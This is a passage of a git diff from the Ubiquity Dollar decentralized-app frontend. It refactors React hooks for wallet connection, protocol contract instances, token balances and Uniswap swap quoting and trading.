"@ubiquity/contracts/out/UbiquityPoolFacet.sol/UbiquityPoolFacet.json"; +// other related contracts +// import SushiSwapPoolArtifact from "@ubiquity/contracts/out/SushiSwapPool.sol/SushiSwapPool.json"; +import IMetaPoolArtifact from "@ubiquity/contracts/out/IMetaPool.sol/IMetaPool.json"; +import UniswapV2PairABI from "@/components/config/abis/uniswap-v-2-pair.json"; +import ERC20ABI from "@/components/config/abis/erc-20.json"; + +/** + * Returns all of the available protocol contracts + * + * Right now the Ubiquity org uses: + * - separately deployed contracts (https://github.com/ubiquity/ubiquity-dollar/tree/development/packages/contracts/src/dollar/core) + * - contracts deployed as diamond proxy facets (https://github.com/ubiquity/ubiquity-dollar/tree/development/packages/contracts/src/dollar/facets) + * + * The following contracts are not exported for various reasons (but feel free + * to export new contracts when you need them): + * + * Contracts not used in the UI (as far as I understand): + * - https://github.com/ubiquity/ubiquity-dollar/blob/development/packages/contracts/src/dollar/core/ERC1155Ubiquity.sol + * - https://github.com/ubiquity/ubiquity-dollar/blob/development/packages/contracts/src/dollar/core/ERC20Ubiquity.sol + * - https://github.com/ubiquity/ubiquity-dollar/blob/development/packages/contracts/src/dollar/facets/DiamondCutFacet.sol + * - https://github.com/ubiquity/ubiquity-dollar/blob/development/packages/contracts/src/dollar/facets/DiamondLoupeFacet.sol + * - https://github.com/ubiquity/ubiquity-dollar/blob/development/packages/contracts/src/dollar/Diamond.sol + * - https://github.com/ubiquity/ubiquity-dollar/blob/development/packages/contracts/src/dollar/DirectGovernanceFarmer.sol + * + * Contracts not yet integrated (i.e. not used in other solidity contracts): + * - https://github.com/ubiquity/ubiquity-dollar/blob/development/packages/contracts/src/dollar/core/CreditClock.sol + * + * Contracts on hold (i.e. obsolete) until we find a better utility for them: + * - https://github.com/ubiquity/ubiquity-dollar/tree/development/packages/contracts/src/ubiquistick + */ +export type ProtocolContracts = ReturnType | null; +const useProtocolContracts = async () => { + // get current web3 provider + const { provider } = useWeb3(); + + // all protocol contracts + const protocolContracts: { + // separately deployed contracts (i.e. not part of the diamond) + creditNft: Contract | null; + creditToken: Contract | null; + dollarToken: Contract | null; + governanceToken: Contract | null; + stakingShare: Contract | null; + // diamond facets + accessControlFacet: Contract | null; + chefFacet: Contract | null; + collectableDustFacet: Contract | null; + creditNftManagerFacet: Contract | null; + creditNftRedemptionCalculatorFacet: Contract | null; + creditRedemptionCalculatorFacet: Contract | null; + curveDollarIncentiveFacet: Contract | null; + dollarMintCalculatorFacet: Contract | null; + dollarMintExcessFacet: Contract | null; + managerFacet: Contract | null; + ownershipFacet: Contract | null; + stakingFacet: Contract | null; + stakingFormulasFacet: Contract | null; + twapOracleDollar3poolFacet: Contract | null; + ubiquityPoolFacet: Contract | null; + sushiPoolGovernanceDollarLp: Contract | null; + curveMetaPoolDollarTriPoolLp: Contract | null; + _3crvToken: Contract | null; + } = { + // separately deployed contracts (i.e. not part of the diamond) + creditNft: null, + creditToken: null, + dollarToken: null, + governanceToken: null, + stakingShare: null, + // diamond facets + accessControlFacet: null, + chefFacet: null, + collectableDustFacet: null, + creditNftManagerFacet: null, + creditNftRedemptionCalculatorFacet: null, + creditRedemptionCalculatorFacet: null, + curveDollarIncentiveFacet: null, + dollarMintCalculatorFacet: null, + dollarMintExcessFacet: null, + managerFacet: null, + ownershipFacet: null, + stakingFacet: null, + stakingFormulasFacet: null, + twapOracleDollar3poolFacet: null, + ubiquityPoolFacet: null, + // related contracts + sushiPoolGovernanceDollarLp: null, + curveMetaPoolDollarTriPoolLp: null, + _3crvToken: null, + }; + let diamondAddress = ""; + + // NOTICE: temporary fix until https://github.com/ubiquity/ubiquity-dollar/issues/833 is ready + const latestDeployment = { + transactions: [ + { + contractAddress: 'test', + contractName: 'test', + transactionType: 'test', + } + ], + }; + // for all of the deployment transactions + latestDeployment.transactions.map((tx) => { + if (tx.transactionType === "CREATE") { + // find contracts that deployed separately (i.e. not part of the diamond) + if (tx.contractName === "CreditNft") { + protocolContracts.creditNft = new ethers.Contract(tx.contractAddress, CreditNftArtifact.abi, provider); + } + if (tx.contractName === "UbiquityCreditToken") { + protocolContracts.creditToken = new ethers.Contract(tx.contractAddress, UbiquityCreditTokenArtifact.abi, provider); + } + if (tx.contractName === "UbiquityDollarToken") { + protocolContracts.dollarToken = new ethers.Contract(tx.contractAddress, UbiquityDollarTokenArtifact.abi, provider); + } + if (tx.contractName === "UbiquityGovernanceToken") { + protocolContracts.governanceToken = new ethers.Contract(tx.contractAddress, UbiquityGovernanceTokenArtifact.abi, provider); + } + if (tx.contractName === "StakingShare") { + protocolContracts.stakingShare = new ethers.Contract(tx.contractAddress, StakingShareArtifact.abi, provider); + } + // find the diamond address + if (tx.contractName === "Diamond") diamondAddress = tx.contractAddress; + } + }); + + // assign diamond facets + protocolContracts.accessControlFacet = new ethers.Contract(diamondAddress, AccessControlFacetArtifact.abi, provider); + protocolContracts.chefFacet = new ethers.Contract(diamondAddress, ChefFacetArtifact.abi, provider); + protocolContracts.collectableDustFacet = new ethers.Contract(diamondAddress, CollectableDustFacetArtifact.abi, provider); + protocolContracts.creditNftManagerFacet = new ethers.Contract(diamondAddress, CreditNftManagerFacetArtifact.abi, provider); + protocolContracts.creditNftRedemptionCalculatorFacet = new ethers.Contract(diamondAddress, CreditNftRedemptionCalculatorFacetArtifact.abi, provider); + protocolContracts.creditRedemptionCalculatorFacet = new ethers.Contract(diamondAddress, CreditRedemptionCalculatorFacetArtifact.abi, provider); + protocolContracts.curveDollarIncentiveFacet = new ethers.Contract(diamondAddress, CurveDollarIncentiveFacetArtifact.abi, provider); + protocolContracts.dollarMintCalculatorFacet = new ethers.Contract(diamondAddress, DollarMintCalculatorFacetArtifact.abi, provider); + protocolContracts.dollarMintExcessFacet = new ethers.Contract(diamondAddress, DollarMintExcessFacetArtifact.abi, provider); + protocolContracts.managerFacet = new ethers.Contract(diamondAddress, ManagerFacetArtifact.abi, provider); + protocolContracts.ownershipFacet = new ethers.Contract(diamondAddress, OwnershipFacetArtifact.abi, provider); + protocolContracts.stakingFacet = new ethers.Contract(diamondAddress, StakingFacetArtifact.abi, provider); + protocolContracts.stakingFormulasFacet = new ethers.Contract(diamondAddress, StakingFormulasFacetArtifact.abi, provider); + protocolContracts.twapOracleDollar3poolFacet = new ethers.Contract(diamondAddress, TWAPOracleDollar3poolFacetArtifact.abi, provider); + protocolContracts.ubiquityPoolFacet = new ethers.Contract(diamondAddress, UbiquityPoolFacetArtifact.abi, provider); + + // other related contracts + // const sushiSwapPool = await protocolContracts.managerFacet.sushiSwapPoolAddress(); + // const sushiSwapPoolContract = new ethers.Contract(sushiSwapPool, SushiSwapPoolArtifact.abi, provider); + // const UniswapV2PairContract = new ethers.Contract(await sushiSwapPoolContract.pair(), UniswapV2PairABI, provider); + const UniswapV2PairContract = new ethers.Contract(sushiSwapPoolAddress, UniswapV2PairABI, provider); + protocolContracts.sushiPoolGovernanceDollarLp = UniswapV2PairContract; + + // const dollar3poolMarket = await protocolContracts.managerFacet.stableSwapMetaPoolAddress(); + // const metaPoolContract = new ethers.Contract(dollar3poolMarket, IMetaPoolArtifact.abi, provider); + const metaPoolContract = new ethers.Contract(dollar3poolMarketAddress, IMetaPoolArtifact.abi, provider); + protocolContracts.curveMetaPoolDollarTriPoolLp = metaPoolContract; + + // const _3crvTokenAddress = await protocolContracts.managerFacet.curve3PoolTokenAddress(); + const _3crvTokenContract = new ethers.Contract(_3crvTokenAddress, ERC20ABI, provider); + protocolContracts._3crvToken = _3crvTokenContract; + + return protocolContracts; +}; + +export default useProtocolContracts; \ No newline at end of file diff --git a/packages/dapp/components/lib/hooks/contracts/useDeployedContracts.tsx b/packages/dapp/components/lib/hooks/contracts/useDeployedContracts.tsx deleted file mode 100644 index 34cb65f92..000000000 --- a/packages/dapp/components/lib/hooks/contracts/useDeployedContracts.tsx +++ /dev/null @@ -1,23 +0,0 @@ -import { getDebtCouponManagerContract, getUbiquityAlgorithmicDollarManagerContract } from "@/components/utils/contracts"; -import useDeployedAddress from "../useDeployedAddress"; -import { PossibleProviders } from "../useWeb3"; -import useWeb3Provider from "../useWeb3Provider"; - -export type DeployedContracts = ReturnType | null; -export function connectedContracts(provider: NonNullable) { - const [addr1, addr2] = useDeployedAddress("UbiquityAlgorithmicDollarManager", "DebtCouponManager"); - return addr1 && addr2 - ? { - manager: getUbiquityAlgorithmicDollarManagerContract(addr1, provider), - debtCouponManager: getDebtCouponManagerContract(addr2, provider), - } - : null; -} - -let deployedContracts: DeployedContracts = null; -const useDeployedContracts = () => { - const web3Provider = useWeb3Provider(); - return web3Provider && (deployedContracts || (deployedContracts = connectedContracts(web3Provider))); -}; - -export default useDeployedContracts; diff --git a/packages/dapp/components/lib/hooks/contracts/useManagerManaged.tsx b/packages/dapp/components/lib/hooks/contracts/useManagerManaged.tsx deleted file mode 100644 index 7d73a9851..000000000 --- a/packages/dapp/components/lib/hooks/contracts/useManagerManaged.tsx +++ /dev/null @@ -1,103 +0,0 @@ -import { - getBondingShareV2Contract, - getBondingV2Contract, - getDebtCouponContract, - getDollarMintingCalculatorContract, - getERC20Contract, - getICouponsForDollarsCalculatorContract, - getIMetaPoolContract, - getIUARForDollarsCalculatorContract, - getMasterChefv2Contract, - getSushiSwapPoolContract, - getTWAPOracleContract, - getUbiquityAlgorithmicDollarContract, - getUbiquityAutoRedeemContract, - getUbiquityFormulasContract, - getUbiquityGovernanceContract, - getUniswapV2FactoryContract, -} from "@/components/utils/contracts"; -import { Contract } from "ethers"; -import { createContext, useContext, useEffect, useState } from "react"; -import { ChildrenShim } from "../children-shim"; -import useWeb3, { PossibleProviders } from "../useWeb3"; -import useDeployedContracts from "./useDeployedContracts"; - -export type ManagedContracts = Awaited> | null; -export const ManagedContractsContext = createContext(null); - -export const ManagedContractsContextProvider: React.FC = ({ children }) => { - const [{ provider }] = useWeb3(); - const deployedContracts = useDeployedContracts(); - const [managedContracts, setManagedContracts] = useState(null); - - useEffect(() => { - if (deployedContracts && provider) { - (async () => { - setManagedContracts(await connectManagerContracts(deployedContracts.manager, provider)); - })(); - } - }, [deployedContracts, provider]); - - return {children}; -}; - -async function connectManagerContracts(manager: Contract, provider: NonNullable) { - // 4 - const [ - dollarToken, - dollar3poolMarket, - twapOracle, - dollarMintCalc, - creditToken, - governanceToken, - _3crvToken, - stakingToken, - creditNft, - staking, - masterChef, - sushiSwapPool, - ubiquityFormulas, - creditNftCalculator, - creditCalculator, - ] = await Promise.all([ - manager.dollarTokenAddress(), - manager.stableSwapMetaPoolAddress(), - manager.twapOracleAddress(), - manager.dollarMintingCalculatorAddress(), - manager.autoRedeemTokenAddress(), - manager.governanceTokenAddress(), - manager.curve3PoolTokenAddress(), - manager.bondingShareAddress(), - manager.debtCouponAddress(), - manager.bondingContractAddress(), - manager.masterChefAddress(), - manager.sushiSwapPoolAddress(), - manager.formulasAddress(), - manager.couponCalculatorAddress(), - manager.uarCalculatorAddress(), - ]); - - const sushiSwapPoolContract = getSushiSwapPoolContract(sushiSwapPool, provider); - const ugovUadPairContract = getUniswapV2FactoryContract(await sushiSwapPoolContract.pair(), provider); - - return { - dollarToken: getUbiquityAlgorithmicDollarContract(dollarToken, provider), - dollarMetapool: getIMetaPoolContract(dollar3poolMarket, provider), - dollarTwapOracle: getTWAPOracleContract(twapOracle, provider), - dollarMintingCalculator: getDollarMintingCalculatorContract(dollarMintCalc, provider), - creditToken: getUbiquityAutoRedeemContract(creditToken, provider), - governanceToken: getUbiquityGovernanceContract(governanceToken, provider), - _3crvToken: getERC20Contract(_3crvToken, provider), - stakingToken: getBondingShareV2Contract(stakingToken, provider), - creditNft: getDebtCouponContract(creditNft, provider), - staking: getBondingV2Contract(staking, provider), - masterChef: getMasterChefv2Contract(masterChef, provider), - sushiSwapPool: sushiSwapPoolContract, - governanceMarket: ugovUadPairContract, - ubiquityFormulas: getUbiquityFormulasContract(ubiquityFormulas, provider), - creditNftCalculator: getICouponsForDollarsCalculatorContract(creditNftCalculator, provider), - creditCalculator: getIUARForDollarsCalculatorContract(creditCalculator, provider), - }; -} - -export default () => useContext(ManagedContractsContext); diff --git a/packages/dapp/components/lib/hooks/contracts/useNamedContracts.tsx b/packages/dapp/components/lib/hooks/contracts/useNamedContracts.tsx deleted file mode 100644 index 970fb0bb8..000000000 --- a/packages/dapp/components/lib/hooks/contracts/useNamedContracts.tsx +++ /dev/null @@ -1,34 +0,0 @@ -import useWeb3, { PossibleProviders } from "../useWeb3"; - -import DollarDeployments from "@ubiquity/dollar/deployments.json"; -import NAMED_ACCOUNTS from "../../../config/named-accounts.json"; -import { getCurveFactoryContract, getDebtCouponManagerContract, getERC20Contract, getIJarContract, getYieldProxyContract } from "@/components/utils/contracts"; - -const getDebtCouponManagerAddress = () => { - const contractDeployments: Record = DollarDeployments; - const record = contractDeployments["1"] ?? {}; - const contract = record[0]?.contracts ? record[0]?.contracts["DebtCouponManager"] : undefined; - return contract ? contract.address : undefined; -}; -export const DEBT_COUPON_MANAGER_ADDRESS = getDebtCouponManagerAddress(); - -export type NamedContracts = ReturnType | null; -export function connectedContracts(provider: NonNullable) { - return { - curvePool: getCurveFactoryContract(NAMED_ACCOUNTS.curveFactory, provider), - yieldProxy: getYieldProxyContract(NAMED_ACCOUNTS.yieldProxy, provider), - usdc: getERC20Contract(NAMED_ACCOUNTS.USDC, provider), - dai: getERC20Contract(NAMED_ACCOUNTS.DAI, provider), - usdt: getERC20Contract(NAMED_ACCOUNTS.USDT, provider), - debtCouponManager: getDebtCouponManagerContract(DEBT_COUPON_MANAGER_ADDRESS, provider), - jarUsdc: getIJarContract(NAMED_ACCOUNTS.jarUSDCAddr, provider), - }; -} - -let namedContracts: NamedContracts = null; -const useNamedContracts = () => { - const [{ provider }] = useWeb3(); - return provider && (namedContracts || (namedContracts = connectedContracts(provider))); -}; - -export default useNamedContracts; diff --git a/packages/dapp/components/lib/hooks/use-balances.tsx b/packages/dapp/components/lib/hooks/use-balances.tsx new file mode 100644 index 000000000..b4a281e49 --- /dev/null +++ b/packages/dapp/components/lib/hooks/use-balances.tsx @@ -0,0 +1,65 @@ +import { erc1155BalanceOf } from "@/lib/utils"; +import { createContext, useContext, useEffect, useState } from "react"; +import useNamedContracts from "./contracts/use-named-contracts"; +import useWalletAddress from "./use-wallet-address"; +import { ChildrenShim } from "./children-shim-d"; +import useProtocolContracts from "@/components/lib/hooks/contracts/use-protocol-contracts"; +import useWeb3 from "@/components/lib/hooks/use-web-3"; +import { Balances } from "../types"; + +type RefreshBalances = () => Promise; + +export const BalancesContext = createContext<[Balances | null, RefreshBalances]>([null, async () => {}]); + +export const BalancesContextProvider: React.FC = ({ children }) => { + const [balances, setBalances] = useState(null); + const [walletAddress] = useWalletAddress(); + const namedContracts = useNamedContracts(); + const protocolContracts = useProtocolContracts(); + const { provider } = useWeb3(); + + async function refreshBalances() { + if (!walletAddress || !namedContracts || !protocolContracts || !provider) { + return; + } + + const contracts = await protocolContracts; + + if (contracts.creditNft && contracts.stakingShare) { + const [dollar, _3crv, dollar3crv, credit, governance, creditNft, stakingShares, usdc, dai, usdt] = await Promise.all([ + contracts.dollarToken?.balanceOf(walletAddress), + contracts._3crvToken?.balanceOf(walletAddress), + contracts.curveMetaPoolDollarTriPoolLp?.balanceOf(walletAddress), + contracts.creditToken?.balanceOf(walletAddress), + contracts.governanceToken?.balanceOf(walletAddress), + erc1155BalanceOf(walletAddress, contracts.creditNft), + erc1155BalanceOf(walletAddress, contracts.stakingShare), + namedContracts.usdc.balanceOf(walletAddress), + namedContracts.dai.balanceOf(walletAddress), + namedContracts.usdt.balanceOf(walletAddress), + ]); + setBalances({ + dollar, + _3crv, + dollar3crv, + credit, + creditNft, + governance, + stakingShares, + usdc, + dai, + usdt, + }); + } + } + + useEffect(() => { + refreshBalances(); + }, [walletAddress]); + + return {children}; +}; + +const useBalances = () => useContext(BalancesContext); + +export default useBalances; diff --git a/packages/dapp/components/lib/hooks/use-did-update.ts b/packages/dapp/components/lib/hooks/use-did-update.ts new file mode 100644 index 000000000..75cb551f4 --- /dev/null +++ b/packages/dapp/components/lib/hooks/use-did-update.ts @@ -0,0 +1,16 @@ +import { useEffect, useRef } from "react"; + +// Like useEffect, but only fires after the first render +const useDidUpdate = (callback: () => void, conditions?: unknown[]) => { + const didMountRef = useRef(false); + useEffect(() => { + if (!didMountRef.current) { + didMountRef.current = true; + return; + } + + return callback && callback(); + }, conditions); +}; + +export default useDidUpdate; diff --git a/packages/dapp/components/lib/hooks/useEffectAsync.ts b/packages/dapp/components/lib/hooks/use-effect-async.ts similarity index 100% rename from packages/dapp/components/lib/hooks/useEffectAsync.ts rename to packages/dapp/components/lib/hooks/use-effect-async.ts diff --git a/packages/dapp/components/lib/hooks/useLocalStorage.ts b/packages/dapp/components/lib/hooks/use-local-storage.ts similarity index 100% rename from packages/dapp/components/lib/hooks/useLocalStorage.ts rename to packages/dapp/components/lib/hooks/use-local-storage.ts diff --git a/packages/dapp/components/lib/hooks/use-router.ts b/packages/dapp/components/lib/hooks/use-router.ts new file mode 100644 index 000000000..a1569017e --- /dev/null +++ b/packages/dapp/components/lib/hooks/use-router.ts @@ -0,0 +1,59 @@ +import { useEffect, useState } from "react"; +import { AlphaRouter } from "@uniswap/smart-order-router"; +import { Percent, TradeType } from "@uniswap/sdk-core"; +import useWeb3 from "@/components/lib/hooks/use-web-3"; +import { DOLLAR_TOKEN, CREDIT_TOKEN, USDC_TOKEN, USDT_TOKEN, DAI_TOKEN, parseAmount } from "../utils"; + +const useRouter = (selectedToken: string, amountIn = "0"): [string | undefined, string | undefined] => { + const { provider, walletAddress } = useWeb3(); + const [quoteAmount, setQuoteAmount] = useState(); + const [lastQuoteAmount, setLastQuoteAmount] = useState(); + + async function getQuote() { + let selectedTokenObject; + const parsedAmountIn = parseAmount(amountIn, CREDIT_TOKEN); + + if (selectedToken === "USDC") { + selectedTokenObject = USDC_TOKEN; + } else if (selectedToken === "DAI") { + selectedTokenObject = DAI_TOKEN; + } else if (selectedToken === "USDT") { + selectedTokenObject = USDT_TOKEN; + } else { + selectedTokenObject = DOLLAR_TOKEN; + } + + if (provider && walletAddress) { + const router = new AlphaRouter({ chainId: 1, provider: provider }); + + const route1 = await router.route(parsedAmountIn, DOLLAR_TOKEN, TradeType.EXACT_INPUT, { + recipient: walletAddress, + slippageTolerance: new Percent(5, 100), + deadline: Math.floor(Date.now() / 1000 + 1800), + }); + setQuoteAmount(route1?.quote.toFixed(2)); + + console.log("Expected Dollar Value : ", route1?.quote.toFixed(2)); + + if (route1 && selectedToken !== "DOLLAR") { + const parsed_dollar_amount = parseAmount(route1.quote.toFixed(2), DOLLAR_TOKEN); + + const route2 = await router.route(parsed_dollar_amount, selectedTokenObject, TradeType.EXACT_INPUT, { + recipient: walletAddress, + slippageTolerance: new Percent(5, 100), + deadline: Math.floor(Date.now() / 1000 + 1800), + }); + console.log(`Expected ${selectedToken} Value : `, route2?.quote.toFixed(2)); + setLastQuoteAmount(route2?.quote.toFixed(2)); + } + } + } + + useEffect(() => { + getQuote(); + }, [selectedToken, amountIn]); + + return [quoteAmount, lastQuoteAmount]; +}; + +export default useRouter; diff --git a/packages/dapp/components/lib/hooks/useSigner.tsx b/packages/dapp/components/lib/hooks/use-signer.tsx similarity index 52% rename from packages/dapp/components/lib/hooks/useSigner.tsx rename to packages/dapp/components/lib/hooks/use-signer.tsx index b7cfa7bd5..596bc2f8d 100644 --- a/packages/dapp/components/lib/hooks/useSigner.tsx +++ b/packages/dapp/components/lib/hooks/use-signer.tsx @@ -1,7 +1,7 @@ -import useWeb3 from "./useWeb3"; +import useWeb3 from "./use-web-3"; const useSigner = () => { - const [{ signer }] = useWeb3(); + const { signer } = useWeb3(); return signer; }; diff --git a/packages/dapp/components/lib/hooks/use-trade.ts b/packages/dapp/components/lib/hooks/use-trade.ts new file mode 100644 index 000000000..aacd6fa07 --- /dev/null +++ b/packages/dapp/components/lib/hooks/use-trade.ts @@ -0,0 +1,45 @@ +import { Percent, TradeType } from "@uniswap/sdk-core"; +import { AlphaRouter } from "@uniswap/smart-order-router"; +import { BigNumber } from "@ethersproject/bignumber"; +import useWeb3 from "@/components/lib/hooks/use-web-3"; +import { DOLLAR_TOKEN, USDC_TOKEN, USDT_TOKEN, DAI_TOKEN, parseAmount, V3_ROUTER_ADDRESS } from "../utils"; + +const useTrade = async (selectedToken: string, amountIn = "0") => { + const { provider, walletAddress } = useWeb3(); + + let selectedTokenObject; + const parsedAmountIn = parseAmount(amountIn, DOLLAR_TOKEN); + + if (selectedToken === "USDC") { + selectedTokenObject = USDC_TOKEN; + } else if (selectedToken === "DAI") { + selectedTokenObject = DAI_TOKEN; + } else if (selectedToken === "USDT") { + selectedTokenObject = USDT_TOKEN; + } else { + selectedTokenObject = USDC_TOKEN; + } + + if (provider && walletAddress) { + const router = new AlphaRouter({ chainId: 1, provider: provider }); + + const route = await router.route(parsedAmountIn, selectedTokenObject, TradeType.EXACT_INPUT, { + recipient: walletAddress, + slippageTolerance: new Percent(5, 100), + deadline: Math.floor(Date.now() / 1000 + 1800), + }); + if (route) { + const transaction = { + data: route?.methodParameters?.calldata, + to: V3_ROUTER_ADDRESS, + value: BigNumber.from(route?.methodParameters?.value), + from: walletAddress, + gasPrice: BigNumber.from(route.gasPriceWei), + }; + + return await provider.sendTransaction(JSON.stringify(transaction)); + } + } +}; + +export default useTrade; diff --git a/packages/dapp/components/lib/hooks/useTransactionLogger.tsx b/packages/dapp/components/lib/hooks/use-transaction-logger.tsx similarity index 86% rename from packages/dapp/components/lib/hooks/useTransactionLogger.tsx rename to packages/dapp/components/lib/hooks/use-transaction-logger.tsx index b900dab5f..e8d291caa 100644 --- a/packages/dapp/components/lib/hooks/useTransactionLogger.tsx +++ b/packages/dapp/components/lib/hooks/use-transaction-logger.tsx @@ -1,5 +1,5 @@ import { createContext, useContext, useState } from "react"; -import { ChildrenShim } from "./children-shim"; +import { ChildrenShim } from "./children-shim-d"; export type Transaction = { title: string; @@ -23,7 +23,7 @@ export const TransactionsContextProvider: React.FC = ({ children } const doTransaction = async (title: string, wrappedFun: () => Promise): Promise => { const startTime = +new Date(); let transaction: Transaction = { title, startTime, endTime: null, status: "pending", error: null, dismissed: false }; - setTransactions({ ...transactions, [startTime]: transaction }); + setTransactions((prevTransactions) => ({ ...prevTransactions, [startTime]: transaction })); try { await wrappedFun(); transaction.status = "success"; @@ -42,7 +42,7 @@ export const TransactionsContextProvider: React.FC = ({ children } transaction.status = "failure"; } transaction = { ...transaction, endTime: +new Date() }; - setTransactions({ ...transactions, [startTime]: transaction }); + setTransactions((prevTransactions) => ({ ...prevTransactions, [startTime]: transaction })); return transaction.status === "success"; }; @@ -51,7 +51,7 @@ export const TransactionsContextProvider: React.FC = ({ children } const dismissTransaction = (startTime: string) => { console.log("Dismissing transaction", startTime); - setTransactions({ ...transactions, [startTime]: { ...transactions[startTime], dismissed: true } }); + setTransactions((prevTransactions) => ({ ...prevTransactions, [startTime]: { ...transactions[startTime], dismissed: true } })); }; return {children}; diff --git a/packages/dapp/components/lib/hooks/useWalletAddress.tsx b/packages/dapp/components/lib/hooks/use-wallet-address.tsx similarity index 56% rename from packages/dapp/components/lib/hooks/useWalletAddress.tsx rename to packages/dapp/components/lib/hooks/use-wallet-address.tsx index c505f583b..3685c98d8 100644 --- a/packages/dapp/components/lib/hooks/useWalletAddress.tsx +++ b/packages/dapp/components/lib/hooks/use-wallet-address.tsx @@ -1,7 +1,7 @@ -import useWeb3 from "./useWeb3"; +import useWeb3 from "./use-web-3"; const useWalletAddress = () => { - const [{ walletAddress }] = useWeb3(); + const { walletAddress } = useWeb3(); return [walletAddress]; }; diff --git a/packages/dapp/components/lib/hooks/useWeb3Provider.tsx b/packages/dapp/components/lib/hooks/use-web-3-provider.tsx similarity index 56% rename from packages/dapp/components/lib/hooks/useWeb3Provider.tsx rename to packages/dapp/components/lib/hooks/use-web-3-provider.tsx index 3d6eb5baf..2434a738a 100644 --- a/packages/dapp/components/lib/hooks/useWeb3Provider.tsx +++ b/packages/dapp/components/lib/hooks/use-web-3-provider.tsx @@ -1,7 +1,7 @@ -import useWeb3 from "./useWeb3"; +import useWeb3 from "./use-web-3"; const useWeb3Provider = () => { - const [{ provider }] = useWeb3(); + const { provider } = useWeb3(); return provider; }; diff --git a/packages/dapp/components/lib/hooks/use-web-3.tsx b/packages/dapp/components/lib/hooks/use-web-3.tsx new file mode 100644 index 000000000..2fe3dec63 --- /dev/null +++ b/packages/dapp/components/lib/hooks/use-web-3.tsx @@ -0,0 +1,117 @@ +import { JsonRpcProvider, JsonRpcSigner, Web3Provider } from "@ethersproject/providers"; +import { useAccount, useProvider, useSigner } from "wagmi"; +import { WagmiConfig, createClient } from "wagmi"; +import { mainnet, localhost, foundry } from "wagmi/chains"; +import { WalletConnectConnector } from "wagmi/connectors/walletConnect"; +import { InjectedConnector } from "wagmi/connectors/injected"; +import { CoinbaseWalletConnector } from "wagmi/connectors/coinbaseWallet"; +import { MetaMaskConnector } from "wagmi/connectors/metaMask"; +import { ConnectKitProvider, getDefaultClient } from "connectkit"; +import { FC } from "react"; +import { ChildrenShim } from "./children-shim-d"; +import ubqConfig from "ubq-connect-config"; + +const IS_DEV = process.env.NODE_ENV == "development"; +export const LOCAL_NODE_ADDRESS = "http://localhost:8545"; + +export type PossibleProviders = Web3Provider | JsonRpcProvider | null; + +export type Web3State = { + metamaskInstalled: boolean; + jsonRpcEnabled: boolean; + providerMode: "none" | "metamask" | "jsonrpc"; + provider: PossibleProviders; + connecting: boolean; + walletAddress: null | string; + signer?: JsonRpcSigner; +}; + +const metamaskInstalled = (typeof window !== "undefined" ? window.ethereum : undefined); + +const defaultChains = [mainnet, localhost, foundry /*, hardhat*/]; + +const client = createClient( + getDefaultClient({ + chains: defaultChains, + appName: "Ubiquity DAO", + appDescription: "World's first scalable digital dollar", + appIcon: "https://dao.ubq.fi/favicon.ico", + appUrl: "https://dao.ubq.fi/", + autoConnect: true, + connectors: [ + new MetaMaskConnector({ + chains: defaultChains, + options: { + shimDisconnect: true, + UNSTABLE_shimOnConnectSelectAccount: true, + }, + }), + new InjectedConnector({ + chains: defaultChains, + options: { + name: "Injected Wallet", + getProvider: () => typeof window !== 'undefined' ? window.ethereum : undefined, + shimDisconnect: true, + }, + }), + new CoinbaseWalletConnector({ + chains: defaultChains, + options: { + appName: "Ubiquity DAO", + appLogoUrl: "https://dao.ubq.fi/favicon.ico", + darkMode: true, + headlessMode: true, + jsonRpcUrl: process.env.NEXT_PUBLIC_JSON_RPC_URL || "", + }, + }), + new WalletConnectConnector({ + chains: defaultChains, + options: { + showQrModal: false, + projectId: process.env.NEXT_PUBLIC_WALLET_CONNECT_ID || ubqConfig.walletConnectProjectId || "", + metadata: { + name: "Ubiquity DAO", + description: "World's first scalable digital dollar", + url: "https://dao.ubq.fi/", + icons: ["https://dao.ubq.fi/favicon.ico"], + }, + }, + }), + ], + }) +); + +export const UseWeb3Provider: FC = ({ children }) => { + return ( + + + {children} + + + ); +}; + +const useWeb3 = (): Web3State => { + const provider = useProvider(); + const { isConnecting, address } = useAccount(); + const { data: signer } = useSigner(); + + return { + metamaskInstalled, + jsonRpcEnabled: IS_DEV, + providerMode: "none", + provider: provider as PossibleProviders, + connecting: isConnecting, + walletAddress: address as string, + signer: signer as JsonRpcSigner, + }; +}; + +export default useWeb3; diff --git a/packages/dapp/components/lib/hooks/useBalances.tsx b/packages/dapp/components/lib/hooks/useBalances.tsx deleted file mode 100644 index c52eddc5e..000000000 --- a/packages/dapp/components/lib/hooks/useBalances.tsx +++ /dev/null @@ -1,71 +0,0 @@ -import { erc1155BalanceOf } from "@/lib/utils"; -import { BigNumber, Contract } from "ethers"; -import { createContext, useContext, useEffect, useState } from "react"; -import useManagerManaged from "./contracts/useManagerManaged"; -import useNamedContracts from "./contracts/useNamedContracts"; -import useWalletAddress from "./useWalletAddress"; -import { ChildrenShim } from "./children-shim"; - -export interface Balances { - uad: BigNumber; - _3crv: BigNumber; - uad3crv: BigNumber; - ucr: BigNumber; - ucrNft: BigNumber; - ubq: BigNumber; - stakingShares: BigNumber; - usdc: BigNumber; - dai: BigNumber; - usdt: BigNumber; -} - -type RefreshBalances = () => Promise; - -export const BalancesContext = createContext<[Balances | null, RefreshBalances]>([null, async () => {}]); - -export const BalancesContextProvider: React.FC = ({ children }) => { - const [balances, setBalances] = useState(null); - const [walletAddress] = useWalletAddress(); - const managedContracts = useManagerManaged(); - const namedContracts = useNamedContracts(); - - async function refreshBalances() { - if (walletAddress && managedContracts && namedContracts) { - const [uad, _3crv, uad3crv, ucr, ubq, ucrNft, stakingShares, usdc, dai, usdt] = await Promise.all([ - managedContracts.dollarToken.balanceOf(walletAddress), - managedContracts._3crvToken.balanceOf(walletAddress), - managedContracts.dollarMetapool.balanceOf(walletAddress), - managedContracts.creditToken.balanceOf(walletAddress), - managedContracts.governanceToken.balanceOf(walletAddress), - erc1155BalanceOf(walletAddress, managedContracts.creditNft as unknown as Contract), - erc1155BalanceOf(walletAddress, managedContracts.stakingToken as unknown as Contract), - namedContracts.usdc.balanceOf(walletAddress), - namedContracts.dai.balanceOf(walletAddress), - namedContracts.usdt.balanceOf(walletAddress), - ]); - - setBalances({ - uad, - _3crv, - uad3crv, - ucr, - ucrNft, - ubq, - stakingShares, - usdc, - dai, - usdt, - }); - } - } - - useEffect(() => { - refreshBalances(); - }, [walletAddress, managedContracts]); - - return {children}; -}; - -const useBalances = () => useContext(BalancesContext); - -export default useBalances; 